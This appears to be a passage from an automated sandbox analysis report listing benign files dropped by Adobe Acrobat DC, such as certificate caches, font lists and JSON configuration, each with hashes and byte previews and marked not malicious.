Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.773863736696469
Encrypted:	false
SSDEEP:	48:7MBpA2ioyVVioy7oWoy1Cwoy1RKOioy1noy1AYoy1Wioy11ioyeioyBoy1noy1OL:76pfuV78X2jicb9IVXEBodRBkV
MD5:	54337812B003BB494E4B86B7F6552AD7
SHA1:	F93F3FEDF5E965B92789B25D0F25848AEF626DCD
SHA-256:	3F2B7A57E950F6B9E47CF920DC5C6CEDEF2D3151F7B3F92C3C546C5627D26E84
SHA-512:	1956CEFED1384919F86990B9FBB823EC0BA29B277B9FA56E255F11E631E8506E0B8BFC74F883FF9D4790350CE7AC1F82DFC5BB0F731B4EA8CFCE4B582638492E
Malicious:	false
Preview:	.... .c........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.723752989961514
Encrypted:	false
SSDEEP:	3:kkFklHQLEb/XfllXlE/HT8kj7vNNX8RolJuRdxLlGB9lQRYwpDdt:kKPLETIT8Q7VNMa8RdWBwRd
MD5:	E7CEEB70028FC959854076548560CCD3
SHA1:	6D02A94F066904B330FFD5306D8D8602CFA74C24
SHA-256:	759107968EFD82500D3E113F43551FA8AAB0A0B385DF0C41B2C1988EA8978126
SHA-512:	3BBEF53F7181C01D2BFA5BA0472E9EDA72D3FDC23A988D263F5D2A2A608AA25A11FCBFEB6C06C25FBAEEAA987F85081D220B464B039C92896463B23DD36DADBE
Malicious:	false
Preview:	p...... ........tu..vP..(....................................................... ..........W....(\..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.2478978672539016
Encrypted:	false
SSDEEP:	6:kKkT1bV99UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:WbqDImsLNkPlE99SNxAhUe/3
MD5:	C09F7901A3887AEFC2E61FDA4DB48252
SHA1:	8FEEFC15ED04E540FFC8161837C7AA868B029EC7
SHA-256:	B87531699CAFD4A50B168D1D8F44277C4775ED995748E5D078108984E6F7776D
SHA-512:	920CAC95C803BDDA9EBD10E8051E71D1DE07E34FC7E2041B743501B123F6B4007EB49C339ACED1366B73881D29E73A3233D130383B5FA020B758A14718C1D1B7
Malicious:	false
Preview:	p...... ........V.#.vP..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.2196

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.2196

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.363070731287943
Encrypted:	false
SSDEEP:	6:YEQXJ2HX5dIEeGGRGonVoZcg1vRcR0YaYCoAvJM3g98kUwPeUkwRe9:YvXKX5mEegtZc0vAxGMbLUkee9
MD5:	330990CD9A2974D89032E8EF3F8930AD
SHA1:	896DE581A3AF7470A615B97B96BB06355B022A86
SHA-256:	F8E697E882C6A275909476DA92FB9759B950298140186E48CB3988156354A2CF
SHA-512:	DD02C79F5142646A3B73038E6C27E86078147251B666353BAD93B8176D1DC953EC4BCE145B7E162C219E378038F7FE970C5279EE023AE8839E69B60D4217D764
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"71ff8074-afa4-4514-b9ed-e615f586cec1","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1734613293321,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.3090288290165635
Encrypted:	false
SSDEEP:	6:YEQXJ2HX5dIEeGGRGonVoZcg1vRcR0YaYCoAvJfBoTfXpnrPeUkwRe9:YvXKX5mEegtZc0vAxGWTfXcUkee9
MD5:	A8B8F5DA90AA3AAEDD7F08E7F5ECC274
SHA1:	891660851FFFECC2BA03F8EF4A064C0D0F8D6BF0
SHA-256:	A68C1D9E092EEBBF7D1D13405CC73CAF4C97060CF1EEFF2DFC0C20E4C4F565E1
SHA-512:	D4BF3C81C58164603282CCD42CF0FAF727238C1D318DD703663132A6FC013B193C71FA8DB10C82A85D7B7BDC7FCF6983279C3095EA9534B88E09D1BDCE0E85FB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"71ff8074-afa4-4514-b9ed-e615f586cec1","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1734613293321,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.2878499040621625
Encrypted:	false
SSDEEP:	6:YEQXJ2HX5dIEeGGRGonVoZcg1vRcR0YaYCoAvJfBD2G6UpnrPeUkwRe9:YvXKX5mEegtZc0vAxGR22cUkee9
MD5:	B0C6759FB26CBACA48FBE99F9578961D
SHA1:	BAD71831C5B28C5A268D423223E591FCE7B450BE
SHA-256:	44CD3B6FD41E5BBDBC496E9F45251D51E50A0C049F3384A251076D1C7810F3E9
SHA-512:	0DE9D621AB0F5345F4885C44DB3495564E80220075897B1A93640E1F229E2938703CFA84F660276E9DCC6A0CE7577D05D4BE3DA8B2DFEE07BC32A3CFAFDF1B52
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"71ff8074-afa4-4514-b9ed-e615f586cec1","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1734613293321,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.350070968885585
Encrypted:	false
SSDEEP:	6:YEQXJ2HX5dIEeGGRGonVoZcg1vRcR0YaYCoAvJfPmwrPeUkwRe9:YvXKX5mEegtZc0vAxGH56Ukee9
MD5:	470F2C46A02D29B498305011F8732A10
SHA1:	6CF48C7DB3BD9A8A197C89B4CDDB981C33F8586D
SHA-256:	CB9AE6CCDF1B044B65E5E4A409AAB12FAA199DB77E96D9B8490F0352161E5669
SHA-512:	592873CC72CCA3872DFDA108D10D2D44A993122EC96D2FCA3283E5053030B455C3367798C4826D526BDFB3C4B9BEF07D63337BD98F84C49DE9F8FAD1C1AF1AD0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"71ff8074-afa4-4514-b9ed-e615f586cec1","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1734613293321,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.686801577168527
Encrypted:	false
SSDEEP:	24:Yv6XtTtzvZpLgE9cQx8LennAvzBvkn0RCmK8czOCCSX:YvONRhgy6SAFv5Ah8cv/X
MD5:	BCB71D56216118E090739B3F86F2EAD8
SHA1:	5419EB00339C92BF31E66E7E6B7E1AC15B01642D
SHA-256:	96EA52E78E53C3FE4B8C15C8CEEB813A15AB734C5BBF75F97F2F48C0E0517D0F
SHA-512:	715D344CF3EC7A8F81AF517799CDB7F0B0BCDD668BC9700E862B70A9936D19DCFFDB9E6A8B60ACF82124B779640FA5DF60432B79EFE889335987A7D8D5969E67
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"71ff8074-afa4-4514-b9ed-e615f586cec1","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1734613293321,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.296144806368716
Encrypted:	false
SSDEEP:	6:YEQXJ2HX5dIEeGGRGonVoZcg1vRcR0YaYCoAvJf8dPeUkwRe9:YvXKX5mEegtZc0vAxGU8Ukee9
MD5:	E039FF559AFA782B888FCBEB5376A0AF
SHA1:	F61A19B8C78B11E9BAFBB1CCE5DC3E993BB1BB9D
SHA-256:	29C8A1C85F8A6B20B7B1FBADF626141EAED29A079C6C2B787312BA0BAEB71E0C
SHA-512:	7F3D2716D3A56D77B1CC2EEBBF04374AF03EFD5CDEA8269C58B98076389E62A4973C7D2576E3C7FAB16F8EE876108B5E4DAC5E9868BE7457B59381F64F2B81D5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"71ff8074-afa4-4514-b9ed-e615f586cec1","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1734613293321,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.299810423418165
Encrypted:	false
SSDEEP:	6:YEQXJ2HX5dIEeGGRGonVoZcg1vRcR0YaYCoAvJfQ1rPeUkwRe9:YvXKX5mEegtZc0vAxGY16Ukee9
MD5:	8EE6D70D9A5742C79CB069438A1DBA2D
SHA1:	2DC6890FD204D01B1B751CE45A2165B82F5F351B
SHA-256:	936DA522E1155A828AB39488B778C372EE0CBB5A2BC6E6A94DBDFE01F6D1066B
SHA-512:	0D6FCA647755AE33BAD9C05FD303308CB679910BCE4755D2FF8160036C39E1DDD733E69724B0422BDFF4F7B9D7EE2CD0BF73789BD444F3FE09086AE9733D704C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"71ff8074-afa4-4514-b9ed-e615f586cec1","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1734613293321,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.306453060168179
Encrypted:	false
SSDEEP:	6:YEQXJ2HX5dIEeGGRGonVoZcg1vRcR0YaYCoAvJfFldPeUkwRe9:YvXKX5mEegtZc0vAxGz8Ukee9
MD5:	60F58B9B3B5329A459D75B744C99872B
SHA1:	BBA06B5F1A93CA95CBB2C5D42412CEC90A4C46A8
SHA-256:	B79BE55DB4988EB0E1AD3FAC56CDE4779EB9AFE987472F359D9E57D564F9ECA3
SHA-512:	ADC450FB598756BD78DD0F1CB0A1729682F012972C1E1FE347A422F2F3E17394CEE457A1CBEE3A8381AE13ED1B3EC1EAFF0EE8F421C426DCCC8B0B9898C3ECFA
Malicious:	false
